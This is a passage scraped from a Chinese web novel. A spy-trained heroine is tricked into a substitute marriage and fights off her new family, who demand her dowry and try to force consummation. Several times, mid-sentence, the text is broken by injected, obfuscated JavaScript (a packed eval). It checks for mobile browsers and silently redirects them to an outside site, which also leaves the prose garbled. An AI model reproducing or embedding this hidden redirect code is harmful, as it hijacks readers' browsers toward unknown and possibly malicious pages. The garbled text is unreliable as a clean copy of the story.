关失越没有被吓到，她伸出了双手，勾住了楚翊尘的脖子，眼含秋波，声音甜美勾人：“妾明白。妾不会有心上人，也不会成婚生子，妾这一辈子有师父相陪，能和师父在一起就知足了。” 楚翊尘抿了抿唇，将她的手从自己身上拉了下来：“我也陪不了你多久了。” “为什么？”关失越手又缠了上去，手指一寸寸摩挲着楚翊尘清冷绝尘的脸颊，“师父是看上别的女细作了？ 没关系的，反正千里及所有的女细作，都是师父的。 师父只要偶尔想起我就行了。 一个月给我一夜就好了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15528833|170787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>说完这话，她感觉出楚翊尘情动了。 关失越压下上扬的嘴角，指腹摩挲上了楚翊尘的薄唇：“楚郎君你最厉害了，妾夜夜都想你。” “是吗啊？”楚翊尘原本冷峻的眸子里有了一丝火焰，他猛地扣住了关失越的后脑勺，将她拉到自己跟前，与自己贴在一块儿，重重咬了一口关失越的嘴唇。 关失越娇嗔着捶了一下他肩膀：“哎呀你咬我做什么？你是狗吗？疼！” 楚翊尘猛扣着她的后脑勺，亲了她好半天，才闷声道：“不许招惹别的男人！否则，我定会要你好看！！” 关失越：狗男人！只许只许州官放火不许百姓点灯，他自己那么多女人…… “我已经有半年没有找别的女人了！”楚翊尘哑声道。 关失越手指扯住楚翊尘垂下的一缕黑发，在指尖绕啊绕：“哦，是因为咱们千里及在京都没什么女细作吗？” 楚翊尘脸又冷了。 关失越另一只手赶忙去摸他的脸，娇笑道：“唉哟你又生气了吗？为什么？” 楚翊尘俊脸一黑，倏地俯身，手往关失越膝窝处一抄，将关失越拦腰抱起，大步进了内室…… 小半个时辰之后，关失越小鸟依人一般靠在楚翊尘怀里，手指摩挲着他的胸口。 楚翊尘一手抱着关失越，一手抚摸着她如同桃花般娇艳细腻的脸颊，轻声道：“我要去执行任务了。你这次成婚，我没法给你兜底了。顾家龙潭虎穴，你千万小心。” 关失越一个翻身，将楚翊尘压在了身下：“你要走？走多久？师父，我怕。” 楚翊尘宠溺地捏了捏她的脸：“那就不嫁了。” 关失越：“那怎么行？十万两银子呢！我还要拿来孝敬师父呢！” 楚翊尘：“我有钱，不要你孝敬。” 关失越：“你的是你的，不是我的。我就是想要对你好嘛！” “是吗？”楚翊尘眼中似有火焰在升腾，他望着和自己近在咫尺的娇媚女子，轻声道，“我怎么没感觉出来？看来，你该好好‘表现’了。” 关失越风情万种地笑了笑，凑到了男人耳边，低声说了句什么。 男人顿时狠狠抱住了她，哑声道：“好，拿出你的看家本事来，老子奉陪到底！” 第111章 又是替嫁！ 楚翊尘当天就离开京都做任务去了。 也许是因为时间太赶了，他走之前都没有来得及沐浴。 他走后，关失越并没有觉得有哪里不适。 学武的时间空出来了，也不能浪费，改用了来学别的课程。 休息时间里，关失越给“蔡珠珠”找了两个靠谱的陪嫁丫鬟。 楚翊尘说得对，顾家那样的人家，指不定会闹出些什么事来，她得做好完全的准备。 时间过得很快，转眼就到了“蔡珠珠”出嫁的日子了。 关失越提前一天来到城东的那处宅子里，等着蔡家人过来。 这一次，蔡夫人亲自带人过来接人。 许久不见，再次见到自己的亲生女儿，蔡夫**吃了一惊。 无他，关失越这回没故意将自己往又矮又壮的体型上面假扮了。 一来天天扮矮壮，费力，费功夫，时间长了，人吃不消。 二来，“蔡珠珠”可是在长身体的关键时期，长高长苗条是再正常不过的事，且都过了这么多天了，她也该到了改换下面貌见人的时候了。 当然，也不是一点伪装都没有的。 就比如胸和腰上，她缠了好几层棉布。 没办法，她如今的身材太好太出挑，让人一见就忘不了。 这可不利于她的**！ 她可不想在将来的某一天，被人认出她和蔡丫丫是同一个人！！！ 要不是那脸还是那张脸，蔡夫人是无论如何也不能将眼前的高挑苗条女子和以前的蔡珠珠联系到一块儿的。 “珠珠，你怎么长高了？也瘦了！” 没想到抽条之后的珠珠是这样的！ 比以前好看多了！ 看到终于不再又矮又壮像土妞的女儿，蔡夫人脸上有了些真心实意的笑容。 “不错！这样很好！！对了珠珠，你怎么突然就长高了？” 关失越道：“我是母亲的亲生女儿，身上流着的是母亲的血，母亲都这么好看，我即便再怎么变异，再被人残害，也不可能长太丑！ 瞧，不再被那拐子一家逼着干重活粗活，又没有**故意在我面前来刺激我，我活得开心又自由，身体自然而然就开始长高了。 母亲你看，我的手许久不做粗活了，养了这么久，它自己就变白了。” 蔡夫人心里被小小地刺了一下，面上的笑少了些：“过去的事就别想了，也别提了。 明日是你出嫁的好日子，咱们还是回家吧。 到时你好从咱们侍郎府出嫁。” 关失越：“是以母亲的义女的身份出嫁吗？” “……”蔡夫人又被噎了一下，面色有些尴尬，“这些都不重要。 你放心，母亲允诺过你的那些嫁妆，会全部给你！ 价值十万两银子呢。 这些都是你的了。 珠珠，这回为了让你在夫家有面子，母亲可是将自己一半的嫁妆都给了你了。 以前的事，你就忘了吧，好不好？” 关失越没有接茬，只道：“多谢母亲。母亲这般看重女儿，女儿以后一定会好好孝敬母亲的。” 回到蔡侍郎府后，许是蔡家人被关失越收拾怕了，许是他们觉得在这个节骨眼儿上不宜节外生枝，许是顾家给了什么好处让他们不得不嫁个女儿过去，许是蔡宝珠很想让她替嫁…… 总之，这回，再没人为难关失越、看不上关失越了。 关失越这人就是这样，人敬我一尺，我还你一丈；反之，你辱她一分，她必十倍还之！ 蔡家人如此好说话，关失越自然也好说话，蔡家气氛其乐融融。 蔡家不少亲朋好友都过来给关失越添妆。 珍珠，翡翠，金簪，玛瑙，银饰……等等，堆了好几匣子。 这些东西是算在蔡家之前允诺的嫁妆之外的。 看着这些金银珠宝，关失越只感觉眼前有数不清的小钱钱在飘啊飘，飘得她心花怒放。 唯一让她有些不爽的是蔡宝珠。 蔡宝珠被她打怕了，再不敢像以前那样在她跟前炫耀了，可是，蔡宝珠在她跟前哭穷！ “这嫁衣原本是爹娘给我准备的，上面绣了金丝线，还镶嵌了整整一百颗南海珍珠。” “那套黄金点翠头面是两年前宫里赏赐的，母亲原都写到了我的嫁妆单子里了，现在，也是你的了。” “还有那……” 关失越立马就打断了蔡宝珠的委屈：“你是想让我跟你算旧账是吧？一百万两，可别忘了！” 蔡宝珠惊得瞪大了眼睛：“我都这么惨了，你怎么还抓着这事不放？就不能当闹着玩的吗？” “不能！”关失越态度坚决，“白纸黑字写得清清楚楚。你别想赖账！” 第二日出嫁。 据说，别的新嫁娘是天一亮就得起床化妆收拾啥的，关失越提前跟蔡家人说好了，她不许人催促，要睡到自然醒。 蔡家人也同意了。 这样的结果就是，关失越一直睡到日上三竿才起床。 一众仆妇等得直跳脚，见她起来就围上去，伺候梳洗的伺候梳洗，换衣服的换衣服，化妆的…… “不要你化！我自己来！”关失越一把推开了想要上前给自己化妆的喜娘，“你手脚重，我怕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15528834|170787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 疼。” 喜娘事先得了蔡家人的吩咐，便没强求。 反正银钱不会少了她的。 白拿银钱不干活这事，是她占了便宜。 这边收拾好，顾家的喜轿便上门了。 一番敲锣打鼓、吹吹打打，关失越上了喜轿。 坐在轿子里，关失越悄悄将轿帘掀开，细细查看她的嫁妆。 蔡家人说到做到，给了她不少嫁妆。 据说，嫁妆里面有一小半是顾家的聘礼。 关失越也不管那么多了，反正只要给足她价值十万两的东西就成！ 谁给的，无所谓。 “我数了，有六十四台嫁妆！” 路边上有人在议论。 “这蔡侍郎对自己的女儿还是很不错的嘛！” “是啊，对自己的义女都这样大方，可见他这人还是很重情义的！” 关失越冷笑了一声，放下了帘子。 一路过去，要花些时间。 关失越索性在轿子里盘腿打坐，修炼起了内功。 轿子终于落地。 新郎顾沉舟走了过来，迎她入府。 一整套的流程走完后，关失越如释重负，放下了举了好久的扇子。 扇子一放下，她便察觉到了异样。 顾沉舟的脸黑如锅底，生气愤怒地指着她：“怎么会是你？ 宝珠呢？ 我要娶的人是蔡宝珠！ 你为什么在这里？ 你是不是忌妒宝珠能嫁到顾家来享福，所以就故意抢了宝珠的婚事？ 说，你把宝珠弄到哪里去了？ 你个不要脸的贱妇、丑妇、毒妇！！！” “你才是贱妇！丑妇！毒妇！你全家都是贱妇、丑妇、毒妇！！”关失越毫不客气反击回去，“你娶的是谁，你自个儿难道不知道吗？ 用你那类人猿的智商好好想想！ 想清楚了再来喷粪！” 娘的，蔡家人胆子很肥啊！ 竟敢又骗她？！ 他们请她回家竟然是替嫁！ 让她这个真千金给蔡宝珠那个假千金替嫁，他们可真敢想真敢做啊！！！ 好！ 真是好得很！ 这哪里是亲生父母？ 这是仇人还差不多吧？！！ 她之前向他们敲诈十三万两银子，她原本还觉着有些过分的，如今看来，一点都不过分！ 分明是便宜了他们！ 她就应该敲诈一百三十万两才对！！ 顾沉舟气得脸都绿了：“我们事先说好的，我要娶的是宝珠！” 第112章 我要休了你！ 面对顾沉舟的气急败坏，关失越气定神闲地道：“事先说好了的是吗？ 行，我在这里等着，你现在就去找蔡家人来问！ 问清楚些！ 免得又在这里满嘴喷粪！！” 顾沉舟还真要去蔡家问。 然而，他才走出院子，就被自己的弟弟顾六郎拽住了。 顾六郎：“你娶的就是蔡珠珠，不是蔡宝珠。” 顾沉舟觉得顾六郎是在骗他，一把甩开顾六郎，如发疯的野牛一般冲了出去。 关失越等了约摸一盏茶的时间，顾沉舟回来了。 去那么久，明显已经知晓了前因后果。 但------ “你现在满意了？ 你这个丑八怪！ 你怎么这么恶毒？ 你几次三番欺负宝珠，还明目张胆抢她的婚事！ 你以为你这样，我就会喜欢你？ 呸！ 就你这样恶毒的丑八怪，你就是脱光了送到我跟前来，我也不会多看一眼的！！！ 这就是你抢了宝珠婚事的下场！” 欺人太甚！ 这狗嘴里吐不出**的东西简直就不是东西！ 她这个刀枪不入的老阿姨听了都觉得不舒服，若是被真正的蔡丫丫听了，不知会被伤成什么样！ 蔡家人不是东西，这个顾沉舟更不是东西！ 明明是蔡宝珠不想嫁，骗她替嫁，结果蔡家人还要故意让顾沉舟以为是她抢了蔡宝珠的婚事！ 合着坏事让她来做，好名声让蔡宝珠来背呗！ 背了好名声不说，还要让顾沉舟使劲磋磨她。 这个时代对一个女子来说，丈夫便是天。 丈夫讨厌妻子，那妻子就相当于进了牢狱。 更何况，顾家那奇葩的家风更是容不得新妇。 要是真正的蔡丫丫，嫁入这样的家庭，那还不得活不过一年？ 蔡家人可真是好样的！ 给亲生女儿选了这样一门“好”亲事！ 关失越温温柔柔地站起来，柔柔弱弱地走到顾沉舟跟前。 顾沉舟以为她想装可怜，想求饶，心里越发不齿，说出的话越发伤人：“我讨厌你！ 就算你伏低做小，就算你跪下来求我，我也不会喜欢你！ 就你这样的…… 啊…… 你做什么？！！” 疯了！ 她疯了！！ 她竟然打了他一个耳光？！！！ 啊啊啊啊啊啊啊，不可饶恕！ 简直不可饶恕！！！ 关失越趁顾沉舟发懵之际，又甩过去一个响亮的耳光。 顿时，顾沉舟两边脸颊都红肿了。 这才对称嘛！ “我这人不喜欢跟蠢货说话，因为他们太蠢，总是听不进去。我不妨再说最后一次。” 关失越脊背挺得笔直，下巴一抬。 “第一，成婚这事是父母之命媒妁之言，在此之前，我没有见过你，更不知道你跟斑鸠之前的恩怨情仇。 第二，我原本搬离了蔡府，一个人开府另住的，是蔡家人主动找上门来，给了我十三万两银子，求着我嫁过来的！ 第三，自始至终，他们都没说我是替嫁。 第四，主动找上我，求我回家成婚的人，是蔡二郎和蔡宝珠。” 关失越眨了眨砚，用看傻子的目光看着顾沉舟。 “蔡宝珠从来没想过要嫁给你。可是，为了让我过得不好，为了让你顾家磋磨我，她故意给你透露‘我很喜欢你特别想嫁给你，可是珠珠妹妹非要抢了我的婚事’的消息。事情就是这样的。听明白了吗？嗯？” 她解释得条理分明，有理有据，相当清楚。 然而，顾沉舟还是不信！ “不！ 不可能！ 你骗人！！ 宝珠是我喜欢我的！ 我知道她想嫁给我！ 是你！ 是你欺负她不是蔡家真正的女儿！ 是你恨她抢走了你十六年的人生，所以故意使坏害她！ 你抢了她的婚事不说，你还想迷惑我，想让我也站在你这边，帮着你一起欺负宝珠！ 你怎么这样恶毒？ 你简直就是个毒妇！！” “啪！” 关失越又一巴掌扇了过去。 她想忍的。 为了那十万两银子的嫁妆，她真的很想多忍两日的。 可是，她还是高估了自己的忍耐力。 低估了某些人的欠揍程度。 对这种自以为是的蠢货，她只想打死他！！ “好啊你果然如宝珠所说，恶毒凶狠！我才不娶你！！你给我滚！滚！！！” 顾沉舟大怒，也不管好男不跟女斗了，直接就上手，想对关失越拳打脚踢。 然而，他严重地低估了关失越的实力。 在他的印象里，一个女人而已，哪里打得过他？ 但事实却是相反，他的拳脚还没挨到关失越的身，他自己身上却遭受到了拳打脚踢！ 这乡下丑女人打他、踢他、踹他、压他，他全身上下都被雨点般的袭击击中，疼得厉害！ 他被打倒在地，眼冒金星、头昏眼花。 那凶狠的丑女人甚至一脚踩在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15528835|170787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他胸口上，反复碾压：“想找死？嗯？” 顾沉舟宁死不屈：“你……你简直恶毒至极！我……我要休了你！” 关失越就笑了：“我这个人好面子。休了我，我岂不是会被人耻笑？那可不行。” 顾沉舟立马又找回了优越感：“现在知道怕了？ 呵！ 只要你给我磕头认错，并保证将你的十万嫁妆双手奉上，我便可以大发慈悲地原谅你，并考虑让你做我顾家的新妇。” “呵呵。”关失越冷笑一声，“你想吞了我的嫁妆，所以，明知道我没有错，却故意倒打一耙，说我抢了斑鸠的婚事？” 这不就是欲加之罪何患无辞吗？ 而且，他还将自己伪装成受害者，站在道德的制高点上来指责她。 简直是恶心！ 顾沉舟眼中飞快闪过一抹恼恨之色：“我没有！ 我本来就从没想过娶你！ 你还打了我！ 你这样的恶妇，我才不要！ 我就要休了你！ 休了你！！ 现在、立刻、马上！！！” 成婚不到一日就被夫家休弃的女人，不管走到哪里都会被人耻笑的，娘家人也肯定不会再接纳的！ 哼！ 这都是你该得的！ 活该！！ 关失越眼里杀意一闪而过，踩在顾沉舟胸口上的脚收了回来：“你说得也是，强扭的瓜不甜。 既然你我都是被蒙在鼓里的，且咱们的仪式还没完成，那就找来你的家人，把我送回去吧。 今日这婚事，作废。” 听闻婚事要作废，顾沉舟又不干了：“不行！” 关失越原本已经打算去收拾东西回家了，结果竟听到这句“不行”！ 她侧过头看着已然爬起来的顾沉舟。 顾沉舟扬了扬下巴： “我们家敲锣打鼓八抬大轿将你娶回来，宴席都办了，宾客都请了，满府张灯结彩，办宴席的钱，请帮厨的钱，雇人手的钱，至少花出去六千两！ 这些钱，都是因为你才花掉的！ 你必须赔偿我顾家的损失！！” 关失越：“……” 什么？ 他竟敢问她要钱？！！ “还有，我一直以为自己娶的是宝珠，所以，我们家省吃俭用凑了一万两银子的聘礼出来。结果那聘礼却成了你的嫁妆！那一万两聘礼，你必须归还！” “我们请媒人，花了五十两。还给了媒人买了礼品，那礼品价值也有十两银子。这些，也应该你来还！” “请人看八字、合婚书，花了一百二十两。” 第113章 上梁不正下梁歪 “还有，当初为了合八字，我家里人还专门去了躺青龙寺，给青龙寺捐了不少香油钱！这一来一回雇马车也得花钱，茶水也得花钱，总共花了八十七两银子！” “这些，都应该你来出！” “为了成婚，我特意去赶制了这件婚服，因为是赶制，就多花了五十两银子！” “而且，我这身婚服原本是要穿给宝珠看的，结果却便宜了你！” “所以，你得赔偿我三百两银子！” “我以为跟我成婚的是宝珠，于是私下里悄悄给她买了不少东西，你是她的妹妹，霸占了她不少好东西，所以，这些东西，你也帮她给了吧！” 关失越此时已然坐在了椅子上，双手放在扶手上，背靠着椅背，脸上神色十分松弛。 顾沉舟不知道的是，她越是这样，就越是表示她要有什么大动作。 关失越手指闲适地揉着自己的太阳穴，道：“你给蔡宝珠买的东西，怎么也要我来还？” 顾沉舟以为关失越害怕了，得意极了：“宝珠的东西不都被你抢走了吗？你抢了她那么多东西，帮她赔偿一点点怎么了？” “什么？我抢蔡宝珠的东西？！到底是我抢了她的，还是她抢了我的？”关失越道。 顾沉舟：“自然是你抢了她的！她一生来就在京都，她才是蔡家人！而你……” “行了行了，我已经不想听你说话了！你现在就去把你家能主事的人叫来！”关失越道。 她已经迫不及待地想要会会那个抠门的顾老夫人了。 想必，肯定比顾沉舟还要一毛不拔的。 在等待的过程中，关失越也没闲着，她召集好了自己的陪嫁团过来，给他们下达了几条命令。 第一：让两人立马回去给蔡侍郎府报信。 第二：让其中两个人去守好厨房，免得被顾家人往他们饮食里放东西。 第三：让所有看管好她的嫁妆。 第四：让陪嫁大丫鬟帮忙清点金银细软。 待顾老夫人过来的时候，关失越已经将价值五万多两的银票、地契、房契等东西打包装好了。 她就将之装到了自己的贴身衣兜里。 紧贴着她的腰。 她腰身太细，装上了这些东西，刚好能修饰下身材。 一举两得。 “珠珠，你既然嫁过来了，那就是我顾家的人了，哪里有才接过来就送回去的道理？” 今日是孙子成亲的大日子，顾老夫人虽然抠门，但还是细心装扮了一番，锦缎衣服，崭新布鞋，头上戴着金簪，俨然一位真正的掌家老夫人。 顾老夫**步过来，抓住了关失越的手。 “听我一句劝！ 我老婆子活了这么多年了，过的桥比你走的路都多，吃过的盐比你吃过的米都多！ 这事你听我的就是了！ 可别做那让亲者痛仇者快的事啊！ 当然，你还年轻，免不得钻牛角尖，过去的就算了，以后可不能再这样了！ 你是官家千金，可不能失了体统！” 关失越微微蹙眉，不动声色地抽回了自己的手，不卑不亢地道：“老夫人，你是顾家的当家主母，所以我找你。你们家和我们家联姻这事，你应当知晓这里面的前因后果吧？” 顾老夫人见关失越眼睛清明，脊背挺直，便知晓这不是个好糊弄的主，于是收起了之前的惺惺作态，站直了身体，一本正经地道：“知晓。” 关失越看了不远处的顾沉舟一眼，又看向顾老夫人：“老夫人，这位顾小郎君口口声声说，我抢了蔡宝珠的婚事，到底是怎么回事，还得麻烦顾老夫人当着我的面，给他解释一遍。” 顾老夫人看向顾沉舟。 顾沉舟脖子一昂：“没必要了！” “怎么就没必要了？”关失越步步紧逼，“事关我的人品、我的尊严、我的名节，怎么就没必要了？！！” 她最后一句说得掷地有声，顾沉舟撇了撇嘴，不再说话。 顾老夫人：“这种小事……” “有关一个人的清誉和人品，还算小事？！！”关失越毫不客气地打断，“如若说一个人被冤枉了，被人指着鼻子侮辱还算小事，那什么才叫大事？ 嗯？ 还是说，你顾家就是这样的随随便便污人清白却一点都不当回事的人家？！ 如若是，那么，我承认我来错了！ 我现在就要回家！” “进了我家的门还想走？你做梦！！！”顾沉舟道。 关失越看也没看他，就当他是在狗叫，她看着顾老夫人道：“我们还没喝合卺酒，还没洞房，仪式没有举行完，就此打住，如何？” “我家可不是你想来就来想走就走的！”顾沉舟道。 关失越仍让当这是狗叫，只看向顾老夫人：“老夫人？” 顾老夫人之前那伪装出来的慈祥此时荡然无存：“沉舟说得有理，为了娶你，合八字、看日子、请媒人、送聘礼、办宴席、请客、请帮厨……零零总总加起来，我家花费了至少两万多两银子！结果你一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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其余女人互相交换了一个眼色，将包围圈合拢，打算将关失越瓮中捉鳖。 眼见着包围圈越来越小，关失越眸子飞快闪过一抹冷意，嘴角微微上扬，但脸上却做出一副害怕、疑惑的模样来：“你们到底想做什么？” “自然是帮助、监督你们将婚礼流程走完啊。”顾老夫人终于说话了。 第114章 强行洞房 关失越表示很疑惑，很震惊。 “听你们这意思，你们是看不上我。 正好，我也看不上你们！ 既然我们双方都对对方无意，这婚礼还有继续下去的必要吗？ 不如此作罢吧！” “你想得美！进了我顾家的门，你就是我顾家的人了！那就由不得你了！” 顾老夫人也不废话了，直接对着她的女儿儿媳孙女孙媳们下命令。 “老大家的，你去把‘好’酒端过来！ 二娘三娘，你们两个将她给我抓过来！ 四娘五娘，等会儿你们负责扒光她的衣服！ 老二家的老三家的，等会儿沉舟洞房的时候，你们负责按住这贱蹄子的腿，免得到时她踢到沉舟了。” 扒衣服，按腿脚，这…… 关失越这回彻底明白了。 也大大地开了眼界了！ 她前世的时候不止在哪里看过一个片子。 片子里讲的是一个贫穷落后的小山村，村里人娶不到媳妇，三四十岁的老光棍为了传宗接代，于是只得花钱从人贩子那里买媳妇。 二十一世纪那样的时代，只要有手有脚就不会饿死，谁会卖儿卖女？ 于是就有了拐卖妇女儿童的人贩子。 人贩子们通常是用骗、用药、**等非法手段。 被用非法手段买回家的媳妇心里充满了怨恨和不甘，怎么会愿意接受这样的命运？ 自是不干的。 结果，那一家子人就齐出动，指导的指导，按手的按手，按脚的按脚，一家子共同指导“新人”圆房。 就跟那农村公猪母猪配种现场一样！ 没想到，这种事竟然让她也遇到了！ 大夏京都，天子脚下，堂堂户部侍郎的家里，居然即将上演一家子指导观看圆房全过程！！！ 叹为观止！ 实在是叹为观止！！ 前提是，这被圆房的主角不是她的话。 真是活久见。 关失越原本还想着，反正十万两银子到手了，人家既然看不上她，那就好聚好散呗！ 结果这顾家倒好，不让她走了！ 让她赔钱不说，还要让她现场给一群**表演活春宫！ 这样的人，跟畜生有什么区别？ 关失越眼里快速闪过一抹杀意，随即，脸上出现了畏惧之色。 “住手！不就是喝合卺酒吗？我喝就是了！” 她想起了情报中顾家人的传统。 说是顾家新妇一旦嫁进顾家，就得无偿将嫁妆主动上交给顾老夫人。 顾老夫人靠着这个方法很快就发家致富，踏入了上流圈子。 如今，为了得到她这十万两银子的嫁妆，顾老夫人不要批脸，带着她的儿媳女儿孙媳们一起，强迫她和顾沉舟圆房，让她成为名副其实的顾家人。 这样的**，跟蔡家人有的一拼。 实在是恶心坏她了。 既然如此，那就别怪她心狠手辣了！ 见关失越这么快就学会乖顺听话了，顾老夫人面上有了一丝满意之色：“早这样不好吗？还能少受些罪。” 关失越浓密的眼睫毛垂下，遮住了眸中那一闪而逝的兴味之色：“我哪里知晓你们顾家竟然是这样的人家？一边看不上我，一边又强迫我喝合卺酒，迫不及待地要和我圆房。” “你以为我想和你这个丑八怪圆房？！呸！也不撒泡尿照照自己是个什么货色！”顾沉舟道。 关失越：“哦？既然如此，那就放我走呗！” “做梦！进了我家门，狗都要留下一层皮！”顾沉舟道。 “进了我家还想全身而退？你做梦吧！” “你不是有十万两嫁妆吗？只要你将那十万两嫁妆白送给我们，我们就放你走！” “三娘你说这话就不对了！好似我们根本就看不上她这个人，而只是看上了她的嫁妆而已！！我们顾家可是官宦人家，怎么能做这样的事呢？” “对对对，我们才不做这样的事！婚姻大事岂能儿戏？既然都成婚了，那就好好过日子吧！” “是啊，还是过来走完流程吧，免得人家说我们顾家不懂礼数。” “喝合卺酒，洞房！” “对，喝合卺酒，洞房！” 顾家众人一唱一和，颠倒黑白，将她们这强行逼人洞房的强盗行径进行了好一番美化包装。 关失越嘴角讥诮地勾了勾，借着顾家人一唱一和之际，给自己的丫鬟使了个眼色。 那丫鬟见状，趁着众人的注意力都在关失越这边，不动声色地点了点头。 然后，丫鬟慢慢往外挪，趁着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15528837|170787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 关失越端起酒杯，众人的目光都落在她手里的酒杯上时，闪身出了门。 “喝！” “喝酒！” 在众人的呼声中，丫鬟砰地从外面锁上了门。 顾家节省，从不请丫鬟婆子，家里所有活儿，都是顾家儿媳、孙媳们在干。 现在，这些人为了逼关失越生米煮成熟饭，都在屋里，这正好方便了丫鬟行事。 里面的人迫切地想要看一对新人圆房，个个神情激动，心头荡漾，根本就没听到动静。 关失越倒是听到了，她清晰地听到了房门落锁的声音。 在听到声音之后，关失越脸上的慌乱、害怕之色瞬间消失，那原本要送入顾沉舟嘴里的酒，被她猛地泼到了顾沉舟脸上。 与此同时，顾沉舟那杯凑到了她跟前的酒，被她的另一只手一挡，再一翻，酒泼了出来，正好全都泼洒到了在边上看热闹的一群变态们脸上、身上、衣服上！ 顿时，顾家不少人脸上、头发上、下巴上、耳朵上、衣服上、手上都沾到了酒水。 狼狈极了。 也，迷茫极了。 毕竟，这变故来得实在是又急又快又突然。 等反应过来后，顾家众人俱都愤怒不已。 “好你个贱妇……” 高颧骨三角眼女人一巴掌打过来，想给关失越一个教训。 然而，关失越动作极快，她一个侧身，同时一把拽住了顾沉舟的手腕，将之拖过来，扔了上去。 “啪——” 清脆的巴掌声响起，顾沉舟又重重地挨了一个巴掌。 高颧骨三角眼女人惊呆了：“我不是要打你的，我是想打那贱妇的。” 龅牙雀斑女见三角眼女人失手了，忙上前去补巴掌。 然而，她的手腕被关失越一把拽住，然后再用力一扯！ 龅牙雀斑女和另一个要打关失越的女人撞到了一处。 “啪-----” “咚……” “嘶！” “啊……” 一连串的声音，乒乒乓乓地响了起来。 事情发生得太快，顾老夫人都没看清楚什么情况，便见自己的小辈们倒了一半，骂骂咧咧，哭爹喊娘，如同一群毫无战斗力的残兵败将，还是被人轻轻一碰就倒地不起唉哟不止的那种！ 第116章 那就耗呗！反正她耗得起 关失越闲闲地笑了：“我刚刚让你们放我出去的时候，你可不是这样的呢！ 你刚刚不是想要让你的女儿、儿媳、孙女、孙媳来按我的腿脚，强迫我跟你那一毛不拔铁公鸡抠门孙子洞房吗？ 怎么现在不强迫了？ 来，来来来，强迫，你们继续强迫啊！” 顾老夫人心里恨透了关失越，面上还是装出不生气的大度模样来：“刚刚是祖母想差了！ 是祖母的不对！ 洞房这事，应该讲究两情相悦！ 祖母不应该为难你的。 看在今日是你大喜的日子上，你就原谅祖母一回吧。” 关失越点了点头，似乎是听进去了，她想了想，道：“我听说，嫁进你们顾家的，不管是儿媳还是孙媳，都得将自己的嫁妆上交公中，给你保管。有这回事吗？” 顾老夫人还没说话，她的女儿孙女们便已经迫不及待地开口了：“进了我顾家的门，便是我顾家的人了！上交嫁妆，不是应该的吗？！” “是啊！既然是一家人，就应该有福同享有难同当！断没有家里人穷得揭不开锅，而你还大鱼大肉的！！” “孝顺的新妇就应该主动上交自己的嫁妆！！” “我们家一直都是这个传统！” “嫁到我顾家来，住我顾家的，吃我顾家的，交点嫁妆怎么了？！！” “是！嫁妆就该上交！！！” 关失越耐心地等她们说完，这才笑道：“哦，那我冒昧地问一句，你们出嫁后，到了你们夫家，嫁妆上交给你们婆母了吗？” 顾老夫人的女儿、孙女们立马改变立场：“嫁妆是我爹娘给我们傍身的，是我们在夫家生活下去的底气，我们为什么要上交？” “是啊，自古以来嫁妆都是女子的私有物！” “嫁妆是我自己的，我想交就交，不想交就不交！！” “我们的嫁妆自然可以不交，但你的嫁妆必须要上交！！” 嚯，一群双标狗！ 双标得理直气壮，一点不觉得打脸。 顾家人的脸皮，真不是一般的厚啊！ 关失越笑着看向顾老夫人的几个儿媳：“你们听到了没有？你们的大姑子小姑子说了，嫁妆是你们爹娘给你们傍身的，是你们的私有物，你们怎么不问你们婆母要回来？” 顾老夫人的几个儿媳互相对视了一眼，面色各异，却都没有说话。 顾老夫人见状，忙道：“我家儿媳不一样，她们都是孝敬婆母的好儿媳！” 关失越忙道：“哦，我知道了，你的意思是说，顾家的姑奶奶们都是不孝顺婆母的坏儿媳呗！哎呀顾老夫人，你可真不会教女儿呢！” 顾老夫人：“不是这样的！ 我……我跟别人不一样！ 我是好婆母！ 